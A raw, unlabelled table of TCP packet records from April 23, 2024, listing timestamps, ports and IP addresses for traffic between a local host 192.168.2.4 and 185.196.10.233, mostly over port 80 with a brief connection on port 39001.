Apr 23, 2024 23:02:09.198931932 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.198956013 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.198973894 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.198993921 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199031115 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199047089 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.199067116 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199103117 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199139118 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199153900 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.199177027 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199193954 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.199214935 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199250937 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199286938 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199301958 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.199323893 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199338913 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.199362040 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199399948 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199421883 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.199438095 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199476004 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199513912 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199525118 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.199553013 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199572086 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.199589968 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199626923 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199645042 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.199666023 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199702978 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199728966 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.199740887 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199779034 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199804068 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.199815035 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199852943 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199887991 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199903011 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.199924946 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.199956894 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.199965954 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200002909 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200040102 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200053930 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.200077057 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200100899 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.200169086 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200206995 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200242996 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200263977 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.200279951 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200309038 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.200316906 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200352907 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200388908 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200402021 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.200427055 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200445890 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.200464010 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200501919 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200512886 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.200541019 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200577974 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200592995 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.200615883 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200653076 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200689077 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200701952 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.200728893 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.200746059 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.230746984 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.230809927 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.230909109 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.339337111 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339365005 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339385033 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339405060 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339411020 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.339425087 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339446068 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339456081 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339466095 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.339473963 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339493990 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339493990 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.339514971 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339521885 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.339535952 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339555025 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339559078 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.339575052 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339592934 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339612007 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339616060 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.339631081 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339643002 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.339648962 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339667082 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.339684010 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.339715004 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.411839008 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.411901951 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.411942959 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.411983967 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.411995888 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.412024975 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412038088 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.412065029 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412121058 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.412134886 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412175894 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412215948 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412236929 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.412254095 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412292957 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412331104 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412342072 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.412369967 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412375927 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.412409067 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412446022 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412451982 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.412483931 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412520885 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412553072 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.412560940 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412600040 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412632942 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.412636995 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412676096 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412710905 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.412713051 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412750959 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412770033 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.412791014 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412828922 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412832975 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.412866116 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412903070 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412938118 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.412939072 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.412980080 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413011074 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.413017035 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413053989 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413062096 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.413090944 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413130045 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413165092 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413171053 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.413202047 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413208008 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.413240910 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413279057 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413288116 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.413316011 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413352966 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413386106 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.413389921 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413428068 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413429976 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.413465977 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413502932 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413542032 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413557053 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.413580894 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413588047 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.413619041 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413656950 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413674116 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.413693905 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413732052 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413744926 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.413769007 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413808107 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413816929 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.413847923 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413886070 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.413892031 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.413980961 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414017916 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414040089 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.414053917 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414098978 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414103985 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.414136887 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414174080 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414182901 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.414211988 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414247990 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414258957 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.414285898 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414326906 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414362907 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414370060 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.414401054 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414437056 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414450884 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.414474010 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414490938 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.414513111 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414552927 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414591074 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414597034 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.414628029 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414639950 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.414664984 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414704084 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414738894 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414745092 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.414777994 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414793015 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.414818048 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414855957 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414860964 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.414894104 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414931059 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414968967 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.414974928 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.415005922 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.415009975 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.415045977 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.415082932 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.415113926 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.415121078 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.415170908 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.419162035 CEST	39001	49736	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.442209005 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.442272902 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.442315102 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.442342043 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.463952065 CEST	49736	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.495177031 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.550805092 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.550860882 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.550900936 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.550939083 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.550937891 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.550980091 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.550995111 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.551022053 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.551059008 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.551069975 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.551098108 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.551135063 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.551153898 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.551173925 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.551211119 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.551248074 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.551271915 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.551290035 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.551301003 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.551327944 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.551363945 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.551383972 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.551402092 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.551439047 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.551477909 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.551486969 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.551516056 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.551539898 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.604583025 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.634646893 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.634797096 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.634835005 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.634841919 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.634874105 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.634910107 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.634943962 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.634948969 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.634984970 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635020971 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635040998 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.635057926 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635059118 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.635097027 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635149002 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635153055 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.635185957 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635221958 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635236979 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.635258913 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635294914 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635330915 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635365009 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.635366917 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635386944 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.635405064 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635441065 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635481119 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635493994 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.635519028 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635524035 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.635560036 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635596037 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635632038 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635646105 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.635669947 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635705948 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635730028 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.635746956 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635756969 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.635783911 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635819912 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635855913 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635880947 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.635891914 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635904074 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.635929108 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635965109 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.635994911 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.635999918 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636037111 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636076927 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636090040 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.636126041 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.636136055 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636176109 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636213064 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636253119 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636262894 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.636287928 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636308908 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.636324883 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636363983 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636390924 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.636400938 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636436939 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636471987 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636487007 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.636508942 CEST	80	49733	185.196.10.233	192.168.2.4
